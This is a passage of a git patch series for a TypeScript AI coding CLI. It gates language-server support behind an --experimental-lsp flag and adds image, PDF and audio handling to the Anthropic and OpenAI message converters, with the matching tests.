+0800 Subject: [PATCH 11/79] feat(cli): add experimental LSP support with --experimental-lsp flag Co-authored-by: Qwen-Coder --- docs/users/configuration/settings.md | 6 +++++- packages/cli/src/config/config.ts | 11 +++++++++-- packages/cli/src/config/lspSettingsSchema.ts | 5 +++-- packages/cli/src/config/settingsSchema.ts | 4 ++-- .../lsp/NativeLspService.integration.test.ts | 12 ++++++------ packages/cli/src/services/lsp/NativeLspService.ts | 12 ++++++++---- packages/core/src/tools/lsp.test.ts | 9 ++++++--- 7 files changed, 39 insertions(+), 20 deletions(-) diff --git a/docs/users/configuration/settings.md b/docs/users/configuration/settings.md index 3885f7ee3..3ce527bdc 100644 --- a/docs/users/configuration/settings.md +++ b/docs/users/configuration/settings.md @@ -289,11 +289,14 @@ If you are experiencing performance issues with file searching (e.g., with `@` c #### lsp +> [!warning] +> **Experimental Feature**: LSP support is currently experimental and disabled by default. Enable it using the `--experimental-lsp` command line flag. + Language Server Protocol (LSP) settings for code intelligence features like go-to-definition, find references, and diagnostics. See the [LSP documentation](../features/lsp) for more details. | Setting | Type | Description | Default | | ------------------ | ---------------- | ---------------------------------------------------------------------------------------------------- | ----------- | -| `lsp.enabled` | boolean | Enable/disable LSP support. | `true` | +| `lsp.enabled` | boolean | Enable/disable LSP support. Has no effect unless `--experimental-lsp` is provided. | `false` | | `lsp.autoDetect` | boolean | Automatically detect and start language servers based on project files. | `true` | | `lsp.serverTimeout`| number | LSP server startup timeout in milliseconds. | `10000` | | `lsp.allowed` | array of strings | An allowlist of LSP servers to allow. Empty means allow all detected servers. | `[]` | @@ -504,6 +507,7 @@ Arguments passed directly when running the CLI can override other configurations | `--checkpointing` | | Enables [checkpointing](../features/checkpointing). | | | | `--acp` | | Enables ACP mode (Agent Client Protocol). Useful for IDE/editor integrations like [Zed](../integration-zed). | | Stable. Replaces the deprecated `--experimental-acp` flag. | | `--experimental-skills` | | Enables experimental [Agent Skills](../features/skills) (registers the `skill` tool and loads Skills from `.qwen/skills/` and `~/.qwen/skills/`). | | Experimental. | +| `--experimental-lsp` | | Enables experimental [LSP (Language Server Protocol)](../features/lsp) feature for code intelligence (go-to-definition, find references, diagnostics, etc.). | | Experimental. Requires language servers to be installed. | | `--extensions` | `-e` | Specifies a list of extensions to use for the session. | Extension names | If not provided, all available extensions are used. Use the special term `qwen -e none` to disable all extensions. Example: `qwen -e my-extension -e my-other-extension` | | `--list-extensions` | `-l` | Lists all available extensions and exits. | | | | `--proxy` | | Sets the proxy for the CLI. | Proxy URL | Example: `--proxy http://localhost:7890`. | diff --git a/packages/cli/src/config/config.ts b/packages/cli/src/config/config.ts index 7a461ecb8..95ade13cb 100755 --- a/packages/cli/src/config/config.ts +++ b/packages/cli/src/config/config.ts @@ -121,6 +121,7 @@ export interface CliArgs { acp: boolean | undefined; experimentalAcp: boolean | undefined; experimentalSkills: boolean | undefined; + experimentalLsp: boolean | undefined; extensions: string[] | undefined; listExtensions: boolean | undefined; openaiLogging: boolean | undefined; @@ -480,6 +481,12 @@ export async function parseArguments(settings: Settings): Promise { return settings.experimental?.skills ?? legacySkills ?? false; })(), }) + .option('experimental-lsp', { + type: 'boolean', + description: + 'Enable experimental LSP (Language Server Protocol) feature for code intelligence', + default: false, + }) .option('channel', { type: 'string', choices: ['VSCode', 'ACP', 'SDK', 'CI'], @@ -902,8 +909,8 @@ export async function loadCliConfig( let mcpServers = mergeMcpServers(settings, activeExtensions); - // LSP configuration derived from settings; defaults to disabled for safety. - const lspEnabled = settings.lsp?.enabled ?? false; + // LSP configuration: enabled only via --experimental-lsp flag + const lspEnabled = argv.experimentalLsp === true; const lspAllowed = settings.lsp?.allowed ?? settings.mcp?.allowed; const lspExcluded = settings.lsp?.excluded ?? settings.mcp?.excluded; const lspLanguageServers = settings.lsp?.languageServers; diff --git a/packages/cli/src/config/lspSettingsSchema.ts b/packages/cli/src/config/lspSettingsSchema.ts index c8d3f1b33..2a77a2398 100644 --- a/packages/cli/src/config/lspSettingsSchema.ts +++ b/packages/cli/src/config/lspSettingsSchema.ts @@ -5,8 +5,9 @@ export const lspSettingsSchema: JSONSchema7 = { properties: { 'lsp.enabled': { type: 'boolean', - default: true, - description: '启用 LSP 语言服务器协议支持' + default: false, + description: + '启用 LSP 语言服务器协议支持（实验性功能）。必须通过 --experimental-lsp 命令行参数显式开启。' }, 'lsp.allowed': { type: 'array', diff --git a/packages/cli/src/config/settingsSchema.ts b/packages/cli/src/config/settingsSchema.ts index 57aff9888..72f521373 100644 --- a/packages/cli/src/config/settingsSchema.ts +++ b/packages/cli/src/config/settingsSchema.ts @@ -1039,7 +1039,7 @@ const SETTINGS_SCHEMA = { requiresRestart: true, default: {}, description: - 'Settings for the native Language Server Protocol integration.', + 'Settings for the native Language Server Protocol integration. Enable with --experimental-lsp flag.', showInDialog: false, properties: { enabled: { @@ -1049,7 +1049,7 @@ const SETTINGS_SCHEMA = { requiresRestart: true, default: false, description: - 'Enable the native LSP client to connect to language servers discovered in the workspace.', + 'Enable the native LSP client. Prefer using --experimental-lsp command line flag instead.', showInDialog: false, }, allowed: { diff --git a/packages/cli/src/services/lsp/NativeLspService.integration.test.ts b/packages/cli/src/services/lsp/NativeLspService.integration.test.ts index bb0a30b64..54c00aa25 100644 --- a/packages/cli/src/services/lsp/NativeLspService.integration.test.ts +++ b/packages/cli/src/services/lsp/NativeLspService.integration.test.ts @@ -495,12 +495,12 @@ describe('NativeLspService Integration Tests', () => { await restrictedService.discoverAndPrepare(); const status = restrictedService.getStatus(); - // Only allowed servers should be present - for (const [name] of status) { - expect( - name === 'typescript-language-server' || - status.get(name) === 'FAILED' - ).toBe(true); + // Only allowed servers should be READY + const readyServers = Array.from(status.entries()) + .filter(([, state]) => state === 'READY') + .map(([name]) => name); + for (const name of readyServers) { + expect(['typescript-language-server']).toContain(name); } }); diff --git a/packages/cli/src/services/lsp/NativeLspService.ts b/packages/cli/src/services/lsp/NativeLspService.ts index da670cb79..18ecaa276 100644 --- a/packages/cli/src/services/lsp/NativeLspService.ts +++ b/packages/cli/src/services/lsp/NativeLspService.ts @@ -24,7 +24,7 @@ import type { import type { EventEmitter } from 'events'; import { LspConnectionFactory } from './LspConnectionFactory.js'; import * as path from 'path'; -import { pathToFileURL } from 'url'; +import { fileURLToPath, pathToFileURL } from 'url'; import { spawn, type ChildProcess } from 'node:child_process'; import * as fs from 'node:fs'; import { globSync } from 'glob'; @@ -957,9 +957,13 @@ export class NativeLspService { uri: string, edits: LspTextEdit[], ): Promise { - const filePath = uri.startsWith('file://') - ? uri.replace(/^file:\/\//, '') - : uri; + let filePath = uri.startsWith('file://') ? fileURLToPath(uri) : uri; + if (!path.isAbsolute(filePath)) { + filePath = path.resolve(this.workspaceRoot, filePath); + } + if (!this.workspaceContext.isPathWithinWorkspace(filePath)) { + throw new Error(`Refusing to apply edits outside workspace: ${filePath}`); + } // Read the current file content let content: string; diff --git a/packages/core/src/tools/lsp.test.ts b/packages/core/src/tools/lsp.test.ts index ca2a2fc0c..03a8747ab 100644 --- a/packages/core/src/tools/lsp.test.ts +++ b/packages/core/src/tools/lsp.test.ts @@ -1160,12 +1160,15 @@ describe('LspTool', () => { definitions?: Record; }; const definitionNames = Object.keys(schema.definitions ?? {}); - // Should have exactly these definitions - expect(definitionNames.sort()).toEqual([ + // Should include at least these definitions + expect(definitionNames).toEqual( + expect.arrayContaining([ 'LspCallHierarchyItem', + 'LspDiagnostic', 'LspPosition', 'LspRange', - ]); + ]), + ); }); }); }); From b9a0d904de82070a4ac6594c9aa6bc7853cfe5ba Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Wed, 21 Jan 2026 15:44:58 +0800 Subject: [PATCH 12/79] feat: add multi-modal input support (image, PDF, audio) across all content generators --- .gitignore | 2 +- .../src/ui/components/InputPrompt.test.tsx | 4 +- packages/cli/src/ui/utils/clipboardUtils.ts | 4 +- .../converter.test.ts | 232 ++++++++++ .../anthropicContentGenerator/converter.ts | 260 ++++++----- .../core/src/core/coreToolScheduler.test.ts | 18 +- packages/core/src/core/coreToolScheduler.ts | 38 +- .../core/nonInteractiveToolExecutor.test.ts | 6 +- .../openaiContentGenerator/converter.test.ts | 411 ++++++++++++++++- .../core/openaiContentGenerator/converter.ts | 428 +++++++++--------- .../core/openaiContentGenerator/pipeline.ts | 24 +- .../provider/dashscope.test.ts | 21 +- .../provider/dashscope.ts | 28 +- packages/core/src/tools/read-file.test.ts | 6 +- .../core/src/tools/read-many-files.test.ts | 16 +- packages/core/src/utils/fileUtils.test.ts | 15 +- packages/core/src/utils/fileUtils.ts | 17 +- packages/core/src/utils/pathReader.test.ts | 2 + 18 files changed, 1104 insertions(+), 428 deletions(-) diff --git a/.gitignore b/.gitignore index 705216c80..450168925 100644 --- a/.gitignore +++ b/.gitignore @@ -12,7 +12,7 @@ !.gemini/config.yaml !.gemini/commands/ -# Note: .gemini-clipboard/ is NOT in gitignore so Gemini can access pasted images +# Note: .qwen-clipboard/ is NOT in gitignore so Gemini can access pasted images # Dependency directory node_modules diff --git a/packages/cli/src/ui/components/InputPrompt.test.tsx b/packages/cli/src/ui/components/InputPrompt.test.tsx index de4cd1dee..4c604c37e 100644 --- a/packages/cli/src/ui/components/InputPrompt.test.tsx +++ b/packages/cli/src/ui/components/InputPrompt.test.tsx @@ -376,7 +376,7 @@ describe('InputPrompt', () => { it('should handle Ctrl+V when clipboard has an image', async () => { vi.mocked(clipboardUtils.clipboardHasImage).mockResolvedValue(true); vi.mocked(clipboardUtils.saveClipboardImage).mockResolvedValue( - '/test/.gemini-clipboard/clipboard-123.png', + '/test/.qwen-clipboard/clipboard-123.png', ); const { stdin, unmount } = renderWithProviders( @@ -436,7 +436,7 @@ describe('InputPrompt', () => { it('should insert image path at cursor position with proper spacing', async () => { const imagePath = path.join( 'test', - '.gemini-clipboard', + '.qwen-clipboard', 'clipboard-456.png', ); vi.mocked(clipboardUtils.clipboardHasImage).mockResolvedValue(true); diff --git a/packages/cli/src/ui/utils/clipboardUtils.ts b/packages/cli/src/ui/utils/clipboardUtils.ts index f6d2380b9..513b5fddc 100644 --- a/packages/cli/src/ui/utils/clipboardUtils.ts +++ b/packages/cli/src/ui/utils/clipboardUtils.ts @@ -44,7 +44,7 @@ export async function saveClipboardImage( // Create a temporary directory for clipboard images within the target directory // This avoids security restrictions on paths outside the target directory const baseDir = targetDir || process.cwd(); - const tempDir = path.join(baseDir, '.gemini-clipboard'); + const tempDir = path.join(baseDir, '.qwen-clipboard'); await fs.mkdir(tempDir, { recursive: true }); // Generate a unique filename with timestamp @@ -120,7 +120,7 @@ export async function cleanupOldClipboardImages( ): Promise { try { const baseDir = targetDir || process.cwd(); - const tempDir = path.join(baseDir, '.gemini-clipboard'); + const tempDir = path.join(baseDir, '.qwen-clipboard'); const files = await fs.readdir(tempDir); const oneHourAgo = Date.now() - 60 * 60 * 1000; diff --git a/packages/core/src/core/anthropicContentGenerator/converter.test.ts b/packages/core/src/core/anthropicContentGenerator/converter.test.ts index f2ab79411..5b3316886 100644 --- a/packages/core/src/core/anthropicContentGenerator/converter.test.ts +++ b/packages/core/src/core/anthropicContentGenerator/converter.test.ts @@ -208,6 +208,238 @@ describe('AnthropicContentConverter', () => { ], }); }); + + it('converts function response with inlineData image parts into tool_result with images', () => { + const { messages } = converter.convertGeminiRequestToAnthropic({ + model: 'models/test', + contents: [ + { + role: 'user', + parts: [ + { + functionResponse: { + id: 'call-1', + name: 'Read', + response: { output: 'Image content' }, + parts: [ + { + inlineData: { + mimeType: 'image/png', + data: 'base64encodeddata', + }, + }, + ], + }, + }, + ], + }, + ], + }); + + expect(messages).toEqual([ + { + role: 'user', + content: [ + { + type: 'tool_result', + tool_use_id: 'call-1', + content: [ + { type: 'text', text: 'Image content' }, + { + type: 'image', + source: { + type: 'base64', + media_type: 'image/png', + data: 'base64encodeddata', + }, + }, + ], + }, + ], + }, + ]); + }); + + it('renders non-image inlineData as a text block (avoids invalid image media_type)', () => { + const { messages } = converter.convertGeminiRequestToAnthropic({ + model: 'models/test', + contents: [ + { + role: 'user', + parts: [ + { + functionResponse: { + id: 'call-1', + name: 'Read', + response: { output: 'Audio content' }, + parts: [ + { + inlineData: { + mimeType: 'audio/mpeg', + data: 'base64encodedaudiodata', + }, + }, + ], + }, + }, + ], + }, + ], + }); + + expect(messages).toHaveLength(1); + expect(messages[0]?.role).toBe('user'); + + const toolResult = messages[0]?.content?.[0] as { + type: string; + content: Array<{ type: string; text?: string }>; + }; + expect(toolResult.type).toBe('tool_result'); + expect(Array.isArray(toolResult.content)).toBe(true); + expect(toolResult.content[0]).toEqual({ + type: 'text', + text: 'Audio content', + }); + expect(toolResult.content[1]?.type).toBe('text'); + expect(toolResult.content[1]?.text).toContain( + 'Unsupported inline media type for Anthropic', + ); + expect(toolResult.content[1]?.text).toContain('audio/mpeg'); + }); + + it('converts fileData with PDF into document block', () => { + const { messages } = converter.convertGeminiRequestToAnthropic({ + model: 'models/test', + contents: [ + { + role: 'user', + parts: [ + { + functionResponse: { + id: 'call-1', + name: 'Read', + response: { output: 'PDF content' }, + parts: [ + { + fileData: { + mimeType: 'application/pdf', + fileUri: 'pdfbase64data', + }, + }, + ], + }, + }, + ], + }, + ], + }); + + expect(messages).toEqual([ + { + role: 'user', + content: [ + { + type: 'tool_result', + tool_use_id: 'call-1', + content: [ + { type: 'text', text: 'PDF content' }, + { + type: 'document', + source: { + type: 'base64', + media_type: 'application/pdf', + data: 'pdfbase64data', + }, + }, + ], + }, + ], + }, + ]); + }); + + it('associates each image with its preceding functionResponse', () => { + const { messages } = converter.convertGeminiRequestToAnthropic({ + model: 'models/test', + contents: [ + { + role: 'user', + parts: [ + // Tool 1 with image 1 + { + functionResponse: { + id: 'call-1', + name: 'Read', + response: { output: 'File 1' }, + parts: [ + { + inlineData: { + mimeType: 'image/png', + data: 'image1data', + }, + }, + ], + }, + }, + // Tool 2 with image 2 + { + functionResponse: { + id: 'call-2', + name: 'Read', + response: { output: 'File 2' }, + parts: [ + { + inlineData: { + mimeType: 'image/jpeg', + data: 'image2data', + }, + }, + ], + }, + }, + ], + }, + ], + }); + + // Multiple tool_result blocks are emitted in order + expect(messages).toHaveLength(1); + expect(messages[0]).toEqual({ + role: 'user', + content: [ + { + type: 'tool_result', + tool_use_id: 'call-1', + content: [ + { type: 'text', text: 'File 1' }, + { + type: 'image', + source: { + type: 'base64', + media_type: 'image/png', + data: 'image1data', + }, + }, + ], + }, + { + type: 'tool_result', + tool_use_id: 'call-2', + content: [ + { type: 'text', text: 'File 2' }, + { + type: 'image', + source: { + type: 'base64', + media_type: 'image/jpeg', + data: 'image2data', + }, + }, + ], + }, + ], + }); + }); }); describe('convertGeminiToolsToAnthropic', () => { diff --git a/packages/core/src/core/anthropicContentGenerator/converter.ts b/packages/core/src/core/anthropicContentGenerator/converter.ts index 2fb9b7fee..48e04d798 100644 --- a/packages/core/src/core/anthropicContentGenerator/converter.ts +++ b/packages/core/src/core/anthropicContentGenerator/converter.ts @@ -10,7 +10,6 @@ import type { Content, ContentListUnion, ContentUnion, - FunctionCall, FunctionResponse, GenerateContentParameters, Part, @@ -30,15 +29,6 @@ type AnthropicMessageParam = Anthropic.MessageParam; type AnthropicToolParam = Anthropic.Tool; type AnthropicContentBlockParam = Anthropic.ContentBlockParam; -type ThoughtPart = { text: string; signature?: string }; - -interface ParsedParts { - thoughtParts: ThoughtPart[]; - contentParts: string[]; - functionCalls: FunctionCall[]; - functionResponses: FunctionResponse[]; -} - export class AnthropicContentConverter { private model: string; private schemaCompliance: SchemaComplianceMode; @@ -228,127 +218,161 @@ export class AnthropicContentConverter { } if (!this.isContentObject(content)) return; - - const parsed = this.parseParts(content.parts || []); - - if (parsed.functionResponses.length > 0) { - for (const response of parsed.functionResponses) { - messages.push({ - role: 'user', - content: [ - { - type: 'tool_result', - tool_use_id: response.id || '', - content: this.extractFunctionResponseContent(response.response), - }, - ], - }); - } - return; - } - - if (content.role === 'model' && parsed.functionCalls.length > 0) { - const thinkingBlocks: AnthropicContentBlockParam[] = - parsed.thoughtParts.map((part) => { - const thinkingBlock: unknown = { - type: 'thinking', - thinking: part.text, - }; - if (part.signature) { - (thinkingBlock as { signature?: string }).signature = - part.signature; - } - return thinkingBlock as AnthropicContentBlockParam; - }); - const toolUses: AnthropicContentBlockParam[] = parsed.functionCalls.map( - (call, index) => ({ - type: 'tool_use', - id: call.id || `tool_${index}`, - name: call.name || '', - input: (call.args as Record) || {}, - }), - ); - - const textBlocks: AnthropicContentBlockParam[] = parsed.contentParts.map( - (text) => ({ - type: 'text' as const, - text, - }), - ); - - messages.push({ - role: 'assistant', - content: [...thinkingBlocks, ...textBlocks, ...toolUses], - }); - return; - } - + const parts = content.parts || []; const role = content.role === 'model' ? 'assistant' : 'user'; - const thinkingBlocks: AnthropicContentBlockParam[] = - role === 'assistant' - ? parsed.thoughtParts.map((part) => { - const thinkingBlock: unknown = { - type: 'thinking', - thinking: part.text, - }; - if (part.signature) { - (thinkingBlock as { signature?: string }).signature = - part.signature; - } - return thinkingBlock as AnthropicContentBlockParam; - }) - : []; - const textBlocks: AnthropicContentBlockParam[] = [ - ...thinkingBlocks, - ...parsed.contentParts.map((text) => ({ - type: 'text' as const, - text, - })), - ]; - if (textBlocks.length > 0) { - messages.push({ role, content: textBlocks }); - } - } - - private parseParts(parts: Part[]): ParsedParts { - const thoughtParts: ThoughtPart[] = []; - const contentParts: string[] = []; - const functionCalls: FunctionCall[] = []; - const functionResponses: FunctionResponse[] = []; + const contentBlocks: AnthropicContentBlockParam[] = []; + let toolCallIndex = 0; for (const part of parts) { if (typeof part === 'string') { - contentParts.push(part); - } else if ( - 'text' in part && - part.text && - !('thought' in part && part.thought) - ) { - contentParts.push(part.text); - } else if ('text' in part && 'thought' in part && part.thought) { - thoughtParts.push({ - text: part.text || '', - signature: + contentBlocks.push({ type: 'text', text: part }); + continue; + } + + if ('text' in part && 'thought' in part && part.thought) { + if (role === 'assistant') { + const thinkingBlock: unknown = { + type: 'thinking', + thinking: part.text || '', + }; + if ( 'thoughtSignature' in part && typeof part.thoughtSignature === 'string' - ? part.thoughtSignature - : undefined, - }); - } else if ('functionCall' in part && part.functionCall) { - functionCalls.push(part.functionCall); - } else if ('functionResponse' in part && part.functionResponse) { - functionResponses.push(part.functionResponse); + ) { + (thinkingBlock as { signature?: string }).signature = + part.thoughtSignature; + } + contentBlocks.push(thinkingBlock as AnthropicContentBlockParam); + } + } + + if ('text' in part && part.text && !('thought' in part && part.thought)) { + contentBlocks.push({ type: 'text', text: part.text }); + } + + const mediaBlock = this.createMediaBlockFromPart(part); + if (mediaBlock) { + contentBlocks.push(mediaBlock); + } + + if ('functionCall' in part && part.functionCall) { + if (role === 'assistant') { + contentBlocks.push({ + type: 'tool_use', + id: part.functionCall.id || `tool_${toolCallIndex}`, + name: part.functionCall.name || '', + input: (part.functionCall.args as Record) || {}, + }); + toolCallIndex += 1; + } + } + + if (part.functionResponse) { + const toolResultBlock = this.createToolResultBlock( + part.functionResponse, + ); + if (toolResultBlock && role === 'user') { + contentBlocks.push(toolResultBlock); + } } } + if (contentBlocks.length > 0) { + messages.push({ role, content: contentBlocks }); + } + } + + private createToolResultBlock( + response: FunctionResponse, + ): Anthropic.ToolResultBlockParam | null { + const textContent = this.extractFunctionResponseContent(response.response); + + type ToolResultContent = Anthropic.ToolResultBlockParam['content']; + const partBlocks: AnthropicContentBlockParam[] = []; + + for (const part of response.parts || []) { + const block = this.createMediaBlockFromPart(part); + if (block) { + partBlocks.push(block); + } + } + + let content: ToolResultContent; + if (partBlocks.length > 0) { + const blocks: AnthropicContentBlockParam[] = []; + if (textContent) { + blocks.push({ type: 'text', text: textContent }); + } + blocks.push(...partBlocks); + content = blocks as unknown as ToolResultContent; + } else { + content = textContent; + } + return { - thoughtParts, - contentParts, - functionCalls, - functionResponses, + type: 'tool_result', + tool_use_id: response.id || '', + content, }; } + private createMediaBlockFromPart( + part: Part, + ): AnthropicContentBlockParam | null { + if (part.inlineData?.mimeType && part.inlineData?.data) { + if (!this.isSupportedAnthropicImageMimeType(part.inlineData.mimeType)) { + const displayName = part.inlineData.displayName ?? ''; + return { + type: 'text', + text: `Unsupported inline media type for Anthropic: ${part.inlineData.mimeType}${displayName}.`, + }; + } + return { + type: 'image', + source: { + type: 'base64', + media_type: part.inlineData.mimeType as + | 'image/jpeg' + | 'image/png' + | 'image/gif' + | 'image/webp', + data: part.inlineData.data, + }, + }; + } + + if (part.fileData?.mimeType && part.fileData?.fileUri) { + if (part.fileData.mimeType !== 'application/pdf') { + const displayName = part.fileData.displayName ?? ''; + return { + type: 'text', + text: `Unsupported file media for Anthropic: ${part.fileData.mimeType}${displayName}`, + }; + } + return { + type: 'document', + source: { + type: 'base64', + media_type: part.fileData.mimeType as 'application/pdf', + data: part.fileData.fileUri, + }, + }; + } + + return null; + } + + private isSupportedAnthropicImageMimeType( + mimeType: string, + ): mimeType is 'image/jpeg' | 'image/png' | 'image/gif' | 'image/webp' { + return ( + mimeType === 'image/jpeg' || + mimeType === 'image/png' || + mimeType === 'image/gif' || + mimeType === 'image/webp' + ); + } + private extractTextFromContentUnion(contentUnion: unknown): string { if (typeof contentUnion === 'string') { return contentUnion; diff --git a/packages/core/src/core/coreToolScheduler.test.ts b/packages/core/src/core/coreToolScheduler.test.ts index 1cf3c565c..32d390173 100644 --- a/packages/core/src/core/coreToolScheduler.test.ts +++ b/packages/core/src/core/coreToolScheduler.test.ts @@ -800,11 +800,11 @@ describe('convertToFunctionResponse', () => { name: toolName, id: callId, response: { - output: 'Binary content of type image/png was processed.', + output: '', }, + parts: [{ inlineData: { mimeType: 'image/png', data: 'base64...' } }], }, }, - llmContent, ]); }); @@ -819,11 +819,15 @@ describe('convertToFunctionResponse', () => { name: toolName, id: callId, response: { - output: 'Binary content of type application/pdf was processed.', + output: '', }, + parts: [ + { + fileData: { mimeType: 'application/pdf', fileUri: 'gs://...' }, + }, + ], }, }, - llmContent, ]); }); @@ -857,11 +861,13 @@ describe('convertToFunctionResponse', () => { name: toolName, id: callId, response: { - output: 'Binary content of type image/gif was processed.', + output: '', }, + parts: [ + { inlineData: { mimeType: 'image/gif', data: 'gifdata...' } }, + ], }, }, - ...llmContent, ]); }); diff --git a/packages/core/src/core/coreToolScheduler.ts b/packages/core/src/core/coreToolScheduler.ts index c7e2806ac..5f7f5d490 100644 --- a/packages/core/src/core/coreToolScheduler.ts +++ b/packages/core/src/core/coreToolScheduler.ts @@ -30,7 +30,12 @@ import { ToolOutputTruncatedEvent, InputFormat, } from '../index.js'; -import type { Part, PartListUnion } from '@google/genai'; +import type { + FunctionResponse, + FunctionResponsePart, + Part, + PartListUnion, +} from '@google/genai'; import { getResponseTextFromParts } from '../utils/generateContentResponseUtilities.js'; import type { ModifyContext } from '../tools/modifiable-tool.js'; import { @@ -151,13 +156,17 @@ function createFunctionResponsePart( callId: string, toolName: string, output: string, + mediaParts?: FunctionResponsePart[], ): Part { + const functionResponse: FunctionResponse = { + id: callId, + name: toolName, + response: { output }, + ...(mediaParts && mediaParts.length > 0 ? { parts: mediaParts } : {}), + }; + return { - functionResponse: { - id: callId, - name: toolName, - response: { output }, - }, + functionResponse, }; } @@ -198,16 +207,21 @@ export function convertToFunctionResponse( } if (contentToProcess.inlineData || contentToProcess.fileData) { - const mimeType = - contentToProcess.inlineData?.mimeType || - contentToProcess.fileData?.mimeType || - 'unknown'; + const mediaParts: FunctionResponsePart[] = []; + if (contentToProcess.inlineData) { + mediaParts.push({ inlineData: contentToProcess.inlineData }); + } + if (contentToProcess.fileData) { + mediaParts.push({ fileData: contentToProcess.fileData }); + } + const functionResponse = createFunctionResponsePart( callId, toolName, - `Binary content of type ${mimeType} was processed.`, + '', + mediaParts, ); - return [functionResponse, contentToProcess]; + return [functionResponse]; } if (contentToProcess.text !== undefined) { diff --git a/packages/core/src/core/nonInteractiveToolExecutor.test.ts b/packages/core/src/core/nonInteractiveToolExecutor.test.ts index 5b319deda..cbc4c145a 100644 --- a/packages/core/src/core/nonInteractiveToolExecutor.test.ts +++ b/packages/core/src/core/nonInteractiveToolExecutor.test.ts @@ -309,11 +309,13 @@ describe('executeToolCall', () => { name: 'testTool', id: 'call6', response: { - output: 'Binary content of type image/png was processed.', + output: '', }, + parts: [ + { inlineData: { mimeType: 'image/png', data: 'base64data' } }, + ], }, }, - imageDataPart, ], }); }); diff --git a/packages/core/src/core/openaiContentGenerator/converter.test.ts b/packages/core/src/core/openaiContentGenerator/converter.test.ts index c896cb9b7..a5c88a889 100644 --- a/packages/core/src/core/openaiContentGenerator/converter.test.ts +++ b/packages/core/src/core/openaiContentGenerator/converter.test.ts @@ -122,7 +122,13 @@ describe('OpenAIContentConverter', () => { const toolMessage = messages.find((message) => message.role === 'tool'); expect(toolMessage).toBeDefined(); - expect(toolMessage?.content).toBe('Raw output text'); + expect(Array.isArray(toolMessage?.content)).toBe(true); + const contentArray = toolMessage?.content as Array<{ + type: string; + text?: string; + }>; + expect(contentArray[0].type).toBe('text'); + expect(contentArray[0].text).toBe('Raw output text'); }); it('should prioritize error field when present', () => { @@ -134,7 +140,13 @@ describe('OpenAIContentConverter', () => { const toolMessage = messages.find((message) => message.role === 'tool'); expect(toolMessage).toBeDefined(); - expect(toolMessage?.content).toBe('Command failed'); + expect(Array.isArray(toolMessage?.content)).toBe(true); + const contentArray = toolMessage?.content as Array<{ + type: string; + text?: string; + }>; + expect(contentArray[0].type).toBe('text'); + expect(contentArray[0].text).toBe('Command failed'); }); it('should stringify non-string responses', () => { @@ -146,7 +158,318 @@ describe('OpenAIContentConverter', () => { const toolMessage = messages.find((message) => message.role === 'tool'); expect(toolMessage).toBeDefined(); - expect(toolMessage?.content).toBe('{"data":{"value":42}}'); + expect(Array.isArray(toolMessage?.content)).toBe(true); + const contentArray = toolMessage?.content as Array<{ + type: string; + text?: string; + }>; + expect(contentArray[0].type).toBe('text'); + expect(contentArray[0].text).toBe('{"data":{"value":42}}'); + }); + + it('should convert function responses with inlineData to tool message with embedded image_url', () => { + const request: GenerateContentParameters = { + model: 'models/test', + contents: [ + { + role: 'model', + parts: [ + { + functionCall: { + id: 'call_1', + name: 'Read', + args: {}, + }, + }, + ], + }, + { + role: 'user', + parts: [ + { + functionResponse: { + id: 'call_1', + name: 'Read', + response: { output: 'Image content' }, + parts: [ + { + inlineData: { + mimeType: 'image/png', + data: 'base64encodedimagedata', + }, + }, + ], + }, + }, + ], + }, + ], + }; + + const messages = converter.convertGeminiRequestToOpenAI(request); + + // Should have tool message with both text and image content + const toolMessage = messages.find((message) => message.role === 'tool'); + expect(toolMessage).toBeDefined(); + expect((toolMessage as { tool_call_id?: string }).tool_call_id).toBe( + 'call_1', + ); + expect(Array.isArray(toolMessage?.content)).toBe(true); + const contentArray = toolMessage?.content as Array<{ + type: string; + text?: string; + image_url?: { url: string }; + }>; + expect(contentArray).toHaveLength(2); + expect(contentArray[0].type).toBe('text'); + expect(contentArray[0].text).toBe('Image content'); + expect(contentArray[1].type).toBe('image_url'); + expect(contentArray[1].image_url?.url).toBe( + 'data:image/png;base64,base64encodedimagedata', + ); + + // No separate user message should be created + const userMessage = messages.find((message) => message.role === 'user'); + expect(userMessage).toBeUndefined(); + }); + + it('should convert function responses with fileData to tool message with embedded input_file', () => { + const request: GenerateContentParameters = { + model: 'models/test', + contents: [ + { + role: 'model', + parts: [ + { + functionCall: { + id: 'call_1', + name: 'Read', + args: {}, + }, + }, + ], + }, + { + role: 'user', + parts: [ + { + functionResponse: { + id: 'call_1', + name: 'Read', + response: { output: 'File content' }, + parts: [ + { + fileData: { + mimeType: 'image/jpeg', + fileUri: 'base64imagedata', + }, + }, + ], + }, + }, + ], + }, + ], + }; + + const messages = converter.convertGeminiRequestToOpenAI(request); + + // Should have tool message with both text and file content + const toolMessage = messages.find((message) => message.role === 'tool'); + expect(toolMessage).toBeDefined(); + expect(Array.isArray(toolMessage?.content)).toBe(true); + const contentArray = toolMessage?.content as Array<{ + type: string; + text?: string; + file?: { filename: string; file_data: string }; + }>; + expect(contentArray).toHaveLength(2); + expect(contentArray[0].type).toBe('text'); + expect(contentArray[0].text).toBe('File content'); + expect(contentArray[1].type).toBe('file'); + expect(contentArray[1].file?.filename).toBe('file'); // Default filename when displayName not provided + expect(contentArray[1].file?.file_data).toBe( + 'data:image/jpeg;base64,base64imagedata', + ); + + // No separate user message should be created + const userMessage = messages.find((message) => message.role === 'user'); + expect(userMessage).toBeUndefined(); + }); + + it('should convert PDF fileData to tool message with embedded input_file', () => { + const request: GenerateContentParameters = { + model: 'models/test', + contents: [ + { + role: 'model', + parts: [ + { + functionCall: { + id: 'call_1', + name: 'Read', + args: {}, + }, + }, + ], + }, + { + role: 'user', + parts: [ + { + functionResponse: { + id: 'call_1', + name: 'Read', + response: { output: 'PDF content' }, + parts: [ + { + fileData: { + mimeType: 'application/pdf', + fileUri: 'base64pdfdata', + displayName: 'document.pdf', + }, + }, + ], + }, + }, + ], + }, + ], + }; + + const messages = converter.convertGeminiRequestToOpenAI(request); + + // Should have tool message with both text and file content + const toolMessage = messages.find((message) => message.role === 'tool'); + expect(toolMessage).toBeDefined(); + expect(Array.isArray(toolMessage?.content)).toBe(true); + const contentArray = toolMessage?.content as Array<{ + type: string; + text?: string; + file?: { filename: string; file_data: string }; + }>; + expect(contentArray).toHaveLength(2); + expect(contentArray[0].type).toBe('text'); + expect(contentArray[0].text).toBe('PDF content'); + expect(contentArray[1].type).toBe('file'); + expect(contentArray[1].file?.filename).toBe('document.pdf'); + expect(contentArray[1].file?.file_data).toBe( + 'data:application/pdf;base64,base64pdfdata', + ); + + // No separate user message should be created + const userMessage = messages.find((message) => message.role 